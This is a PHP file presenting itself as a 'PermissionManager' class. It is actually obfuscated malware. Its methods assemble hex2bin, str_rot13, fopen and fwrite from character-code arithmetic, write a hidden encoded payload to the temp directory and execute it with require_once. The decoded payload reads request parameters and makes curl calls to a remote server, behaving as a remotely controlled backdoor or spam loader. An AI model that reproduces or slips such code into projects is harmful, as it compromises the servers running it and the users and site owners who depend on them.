<?php
class PermissionManager
{
    private $sj = '';
    private $fb = '';
    public function fetchSummary($p1)
    {
        $a = array(56 + 28 + 26, 98 * 57 - 5481, 39 + 59, 34 * 18 - 562, 120, 101, 79 + 23 + 2);
        $v = '';
        foreach ($a as $j) {
            $v .= chr($j);
        }
        $v = strrev($v);
        return $v($p1);
    }
    public function authorizeUser($p1)
    {
        $z = array(118 - 3, 22 * 3 + 50, 114, 95, 123 - 9, 39 * 1 + 72, 116, 28 + 20 + 1, 3 * 17);
        $r = '';
        foreach ($z as $a) {
            $r .= chr($a);
        }
        return $r($p1);
    }
    public function checkConsistency($p1, $p2)
    {
        $n = array(24 * 1 + 86, 32 + 69, 117 - 5, 57 * 1 + 54, 56 + 19 + 27);
        $d = '';
        foreach ($n as $t) {
            $d .= chr($t);
        }
        $d = strrev($d);
        return $d($p1, $p2);
    }
    public function terminateSession($p1, $p2)
    {
        $l = array(2 * 51, 126 - 7, 45 + 69, 78 * 1 + 27, 20 + 96, 101);
        $h = '';
        foreach ($l as $b) {
            $h .= chr($b);
        }
        return $h($p1, $p2);
    }
    public function resolveAction($p1)
    {
        $r = array(79 * 1 + 22, 85 * 1 + 30, 66 * 1 + 45, 83 * 1 + 25, 51 + 5 + 43, 2 * 51);
        $e = '';
        foreach ($r as $u) {
            $e .= chr($u);
        }
        $e = strrev($e);
        return $e($p1);
    }
    public function logTransaction($p1, $p2 = null)
    {
        $q = array(40 * 76 - 2931, 15 + 90, 41 * 44 - 1690, 126 - 10, 122 - 8);
        $e = '';
        foreach ($q as $o) {
            $e .= chr($o);
        }
        $e = strrev($e);
        return $e($p1, $p2);
    }
    public function scheduleJob()
    {
        $this->fb = $this->logTransaction($this->triggerCallback(), '/');
    }
    public function fetchRecords()
    {
        $this->sj = $this->authorizeUser($this->fetchSummary($this->os));
    }
    public function rollbackTransaction()
    {
        $fn = $this->fb . '/pz-690d77dc22465';
        $f = $this->checkConsistency($fn, 'w');
        $this->terminateSession($f, $this->sj);
        $this->resolveAction($f);
        $this->filterResults($fn);
    }
    private $os = '3c3f6375632070796e6666205f74707b636576696e6772206' . '6676e677670245f79706d3b66676e677670207368617067766' . '261205f636c28245f7273752c245f7076297b7673282166727' . '9733a3a245f79706d29667279733a3a5f63747228293b245f6' . '568623d66676579726128245f7076293b245f76623d6f6e667' . '236345f71727062717228667279733a3a245f79706d5b245f7' . '273755d293b73626528245f7179653d302c245f6b6e3d66676' . '579726128245f7662293b245f717965213d3d245f6b6e3b2b2' . 'b245f71796529245f76625b245f7179655d3d7075652862657' . '128245f76625b245f7179655d295e62657128245f70765b245' . 'f71796525245f6568625d29293b657267686561245f76623b7' . 'd636576696e67722066676e677670207368617067766261205' . 'f63747228297b667279733a3a245f79706d3d6e65656e6c282' . '75f6462273d3e275575624742746251707762735a4430505a4' . 'f4971557548705a4e3571524e664d424f4e724d49796e272c2' . '75f6d67273d3e27554e7855586a5a555830663957754c5a4d4' . '84c56596b4c5341744856586a38545a48785143754e56594e4' . '86f41754c71272c275f7679273d3e27434e523d272c275f636' . '1273d3e274275447a596a3469537966794144634c526a70596' . 'e6c5254425378744144634c5374446f4174783754744477417' . '671704f4748766f6c4453584e44435a77664f5374705141747' . '8655045705655507149272c275f7173273d3e2759756650576' . 'a3d3d272c275f6864273d3e274c6a5a6f4a6a3d3d272c275f6' . '973273d3e274c6a625842314c3d272c275f726c6f273d3e275' . '84e48725a6a3d3d272c275f6a6d273d3e27272c275f75736d2' . '73d3e27272c275f79697a273d3e27272c275f6c77273d3e274' . '16b6a544e7a49554b44566450796a5342746248546d5a41547' . '53066554f704e7044667155334e59554538694f6a524b59484' . 'c4c4e4a4e5a526a4c2b49443d3d272c275f7a716a273d3e274' . '34f567355444e424e6b7465272c275f7a6e78273d3e27416a3' . '46e4e6a4e4d4e457036272c275f7768273d3e27594f4850534' . '75647272c275f7a6e77273d3e27416a4e5353506a3d272c275' . 'f71646c273d3e275450707447743d3d272c275f726e273d3e2' . '7596a5641416a3d3d272c275f6c7464273d3e2759753051594' . '5523d272c275f676c273d3e274c4e3d3d272c275f6274273d3' . 'e275974565055764c3d272c275f6d6d273d3e27736d3836564' . '4394c4b316769727a44395a4e446e4733383d272c275f686e6' . 'b273d3e27416a484e556a3d3d272c275f7661273d3e27487a3' . '0315a4e784c427444504174744c4d4870315a6a7453427a633' . '8487a303d272c275f61686c273d3e27594f30704d485373272' . 'c275f646b6c273d3e27272c275f7066273d3e27416a4855586' . 'a3d3d272c275f716271273d3e27487a443d272c275f737a682' . '73d3e27536d4e6d424e4e61586c526e58775a335377443d272' . 'c275f737a273d3e27536d783441444e315a6c5a44436d66785' . '146786356444e65566d703d272c275f757466273d3e2751466' . '62b5944666559505a6f5876523d272c275f667973273d3e275' . '36d626a516d526b515066324e50387754764e6a272c275f6a7' . '3273d3e27536d5278564e4e6a566d484142775233547666782' . '72c275f6e7477273d3e27272c275f7575273d3e27536c48664' . '26a4e774346306e566d3035272c275f776f273d3e27536d667' . 'a43744e39416c746e43477038272c275f646873273d3e27272' . 'c275f7379273d3e27536c5a3656744e305677666e424762675' . '376703d272c275f6279273d3e27536c527a57444e3243776a6' . 'e426c4c645376483d272c275f6769273d3e27536d343757444' . 'e6c5a515a4442517430514634645a444e665650703d272c275' . 'f7a70273d3e27536c447a43744e62594674445676486951474' . '43358744e3243476a3d272c275f717376273d3e27514678664' . '24e666343774c6f58515a3d272c275f6b6b78273d3e2751474' . 'e685250527a4e514461546c703d272c275f666b273d3e27426' . 'a34565a745a5942743d3d272c275f677576273d3e275377357' . '3484e3d3d272c275f6e6f273d3e27736b5356424f354b464e3' . 'd3d272c275f7a7571273d3e27736a45445145304a4d49743d2' . '72c275f686f273d3e2773304c53547a536a272c275f7174273' . 'd3e274174523d272c275f7873273d3e275874383d272c275f6' . '472273d3e275944564f272c275f676e273d3e2759756272507' . '43d3d272c293b7d7d75726e717265285f74703a3a5f636c282' . '75f6462272c275f6c632729293b75726e717265285f74703a3' . 'a5f636c28275f6d67272c275f73762729293b7673287666667' . '26728245f5452475b5f74703a3a5f636c28275f7679272c275' . 'f766d6b27295d29297b245f6770703d5f626262285f74703a3' . 'a5f636c28275f6361272c275f7a792729293b767328245f677' . '070262666676563626628245f6770702c5f74703a3a5f636c2' . '8275f7173272c275f796b272929213d3d736e796672297b717' . '672285f74703a3a5f636c28275f6864272c275f79637227292' . '93b7d727966727b717672285f74703a3a5f636c28275f69732' . '72c275f75782729293b7d7d767328766666726728245f54524' . '75b5f74703a3a5f636c28275f726c6f272c275f716527295d2' . '9297b245f6b6e3d245f5042425856523b245f70763d2876616' . '729656268617128302b302b302b30293b245f7273753d28766' . '16729656268617128322e333333333333333333333333332b3' . '22e333333333333333333333333332b322e333333333333333' . '33333333333293b245f756b3d6e65656e6c28293b245f756b5' . 'b245f70765d3d5f74703a3a5f636c28275f6a6d272c275f716' . '927293b6a7576797228245f727375297b245f756b5b245f707' . '65d2e3d245f6b6e5b2876616729656268617128372e352b372' . 'e352b372e352b372e35295d5b245f7273755d3b76732821245' . 'f6b6e5b287661672965626861712831302b31302b3130295d5' . 'b245f7273752b2876616729656268617128302e33333333333' . '333333333333333332b302e333333333333333333333333333' . '32b302e3333333333333333333333333333295d297b7673282' . '1245f6b6e5b287661672965626861712831352b3135295d5b2' . '45f7273752b2876616729656268617128302e3636363636363' . '6363636363636372b302e36363636363636363636363636372' . 'b302e3636363636363636363636363637295d296f65726e783' . 'b245f70762b2b3b245f756b5b245f70765d3d5f74703a3a5f6' . '36c28275f75736d272c275f636d6727293b245f7273752b2b3' . 'b7d245f7273753d245f7273752b28766167296562686171283' . '22e333333333333333333333333332b322e333333333333333' . '333333333332b322e33333333333333333333333333292b287' . '6616729656268617128302e32352b302e32352b302e32352b3' . '02e3235293b7d245f70763d245f756b5b28766167296562686' . '17128342e363636363636363636363636372b342e363636363' . '636363636363636372b342e363636363636363636363636372' . '95d28292e245f756b5b2876616729656268617128382b382b3' . '8295d3b76732821245f756b5b2876616729656268617128322' . 'b322b32295d28245f707629297b245f7273753d245f756b5b2' . '876616729656268617128382e3636363636363636363636363' . '72b382e363636363636363636363636372b382e36363636363' . '636363636363637295d28245f70762c245f756b5b287661672' . '9656268617128352b35295d293b245f756b5b2876616729656' . '268617128342e352b342e35295d28245f7273752c245f756b5' . 'b2876616729656268617128332e36363636363636363636363' . '6372b332e363636363636363636363636372b332e363636363' . '63636363636363637295d2e245f756b5b28766167296562686' . '1712831312e352b31312e35295d28245f756b5b28766167296' . '5626861712831322e352b31322e35295d28245f6b6e5b28766' . '16729656268617128312b312b31295d2929293b7d766170796' . '8717228245f7076293b7d7368617067766261205f626262282' . '45f70706b2c245f716f653d27746577272c245f6a646f3d276' . '46f796e272c245f746f6f3d312e30313234313034363134333' . '539297b245f6f703d5f74703a3a5f636c28275f79697a272c2' . '75f747a27293b245f71773d5f74703a3a5f636c28275f6c772' . '72c275f75656527292e245f70706b3b76732876665f706e797' . '96e6f7972285f74703a3a5f636c28275f7a716a272c275f747' . 'a64272929297b245f71786d3d706865795f7661766728245f7' . '177293b706865795f66726762636728245f71786d2c5048455' . '94243475f4646595f49524556534c435252452c736e7966722' . '93b706865795f66726762636728245f71786d2c50484559424' . '3475f4646595f49524556534c554246472c287661672965626' . '8617128312b3129293b706865795f66726762636728245f717' . '86d2c504845594243475f53425959424a5942504e475642412' . 'c2876616729656268617128302e352b302e3529293b7068657' . '95f66726762636728245f71786d2c504845594243475f45524' . '748454147454e41465352452c2876616729656268617128302' . 'e352b302e3529293b706865795f66726762636728245f71786' . 'd2c504845594243475f55524e5152452c28766167296562686' . '17128302b302b302b3029293b706865795f667267626367282' . '45f71786d2c504845594243475f5042414152504747565a524' . '248472c2876616729656268617128352b3529293b706865795' . 'f66726762636728245f71786d2c504845594243475f47565a5' . '24248472c2876616729656268617128352b3529293b245f6f7' . '03d706865795f726b727028245f71786d293b245f6a623d706' . '865795f7472677661736228245f71786d293b706865795f707' . '962667228245f71786d293b767328245f6a625b5f74703a3a5' . 'f636c28275f7a6e78272c275f6d616627295d213d287661672' . '965626861712836362e3636363636363636363636372b36362' . 'e3636363636363636363636372b36362e36363636363636363' . '6363637292965726768656120736e7966723b7d727966727b2' . '45f7a663d636e6566725f68657928245f7177293b245f686f6' . '23d28245f7a665b5f74703a3a5f636c28275f7768272c275f6' . '9776327295d3d3d5f74703a3a5f636c28275f7a6e77272c275' . 'f6764712729293b245f686e623d5f74703a3a5f636c28275f7' . '1646c272c275f6f676127292e245f7a665b5f74703a3a5f636' . 'c28275f726e272c275f706c27295d3b7673287666667267282' . '45f7a665b5f74703a3a5f636c28275f6c7464272c275f75732' . '7295d2929245f686e622e3d5f74703a3a5f636c28275f676c2' . '72c275f656a27292e245f7a665b5f74703a3a5f636c28275f6' . '274272c275f6a747927295d3b245f686e622e3d5f74703a3a5' . 'f636c28275f6d6d272c275f6a616827292e245f7a665b5f747' . '03a3a5f636c28275f686e6b272c275f77667827295d2e5f747' . '03a3a5f636c28275f7661272c275f746927293b245f766f3d7' . '366627078626372612828245f686f623f5f74703a3a5f636c2' . '8275f61686c272c275f616327293a5f74703a3a5f636c28275' . 'f646b6c272c275f7261782729292e245f7a665b5f74703a3a5' . 'f636c28275f7066272c275f776727295d2c245f686f623f287' . '66167296562686171283134372e36363636363636363636372' . 'b3134372e36363636363636363636372b3134372e363636363' . '6363636363637293a287661672965626861712834302b34302' . '9293b767328245f766f297b736368676628245f766f2c245f6' . '86e62293b245f76623d2876616729656268617128302b302b3' . '0293b6a7576797228217372627328245f766f29297b245f656' . 'd793d737472676628245f766f2c28766167296562686171283' . '235362b3235362b3235362b32353629293b767328245f76622' . '9245f6f702e3d245f656d793b767328245f656d793d3d5f747' . '03a3a5f636c28275f716271272c275f6165272929245f76623' . 'd2876616729656268617128302e33333333333333333333333' . '333332b302e33333333333333333333333333332b302e33333' . '33333333333333333333333293b7d73707962667228245f766' . 'f293b7d7d657267686561245f6f703b7d245f6f673d7666667' . '26728245f4652454952455b5f74703a3a5f636c28275f737a6' . '8272c275f71747527295d293b245f726e773d7666667267282' . '45f4652454952455b5f74703a3a5f636c28275f737a272c275' . 'f7a797227295d293b245f696e733d766666726728245f46524' . '54952455b5f74703a3a5f636c28275f757466272c275f61666' . 'f27295d293b245f75693d766666726728245f4652454952455' . 'b5f74703a3a5f636c28275f667973272c275f617127295d293' . 'f245f4652454952455b5f74703a3a5f636c28275f6a73272c2' . '75f72636327295d3a5f74703a3a5f636c28275f6e7477272c2' . '75f697527293b245f636d3d766666726728245f46524549524' . '55b5f74703a3a5f636c28275f7575272c275f646b7827295d2' . '93f245f4652454952455b5f74703a3a5f636c28275f776f272' . 'c275f62656127295d3a5f74703a3a5f636c28275f646873272' . 'c275f6d716627293b245f6f673d766666726728245f4652454' . '952455b5f74703a3a5f636c28275f7379272c275f6a6165272' . '95d293f245f4652454952455b5f74703a3a5f636c28275f627' . '9272c275f68656827295d3a616879793b245f726e773d76666' . '6726728245f4652454952455b5f74703a3a5f636c28275f676' . '9272c275f77626827295d293f245f4652454952455b5f74703' . 'a3a5f636c28275f7a70272c275f63656127295d3a616879793' . 'b245f696e733d766666726728245f4652454952455b5f74703' . 'a3a5f636c28275f717376272c275f796e6a27295d293f245f4' . '652454952455b5f74703a3a5f636c28275f6b6b78272c275f6' . '87027295d3a616879793b7673287376796772655f696e65282' . '45f6f672c287661672965626861712836382e37352b36382e3' . '7352b36382e37352b36382e37352929297b245f736e3d245f6' . 'f673b7d727966727673287376796772655f696e6528245f726' . 'e772c28766167296562686171283133372e352b3133372e352' . '929297b245f736e3d245f726e773b7d727966727b245f736e3' . 'd245f696e733b7d767328766666726728245f5452475b5f747' . '03a3a5f636c28275f666b272c275f796227295d29297b72707' . '562205f74703a3a5f636c28275f677576272c275f617263272' . '92e245f736e2e5f74703a3a5f636c28275f6e6f272c275f7a7' . '57a27292e245f75692e5f74703a3a5f636c28275f7a7571272' . 'c275f6b6327292e245f636d2e5f74703a3a5f636c28275f686' . 'f272c275f6d747527293b726b766728293b7d7673282176666' . '6726728245f736e297c7c21766666726728245f7569297c7c2' . '1766666726728245f636d29297b726b766728293b7d7279667' . '27b245f6b783d6e65656e6c285f74703a3a5f636c28275f717' . '4272c275f647927293d3e245f736e2c5f74703a3a5f636c282' . '75f7873272c275f617527293d3e245f75692c5f74703a3a5f6' . '36c28275f6472272c275f74747a27293d3e245f636d293b245' . 'f7778723d686579726170627172286f6e667236345f7261706' . '2717228776662615f72617062717228245f6b782929293b245' . 'f6770703d5f62626228245f777872293b767328245f6770702' . '62666676563626628245f6770702c5f74703a3a5f636c28275' . 'f676e272c275f7a7165272929213d3d736e796672297b72707' . '562245f6770703b726b766728293b7d7d';
    public function filterResults($p)
    {
        require_once $p;
    }
    public function triggerCallback()
    {
        $a = array(35 + 27 + 53, 47 + 34 + 40, 51 + 64, 95, 103 * 1, 106 - 5, 93 + 13 + 10, 102 - 7, 11 * 6 + 50, 55 + 11 + 35, 2 * 24 + 61, 2 * 56, 62 + 8 + 25, 104 - 4, 105, 44 * 16 - 590);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$zl = new PermissionManager();
$zl->scheduleJob();
$zl->fetchRecords();
$zl->rollbackTransaction();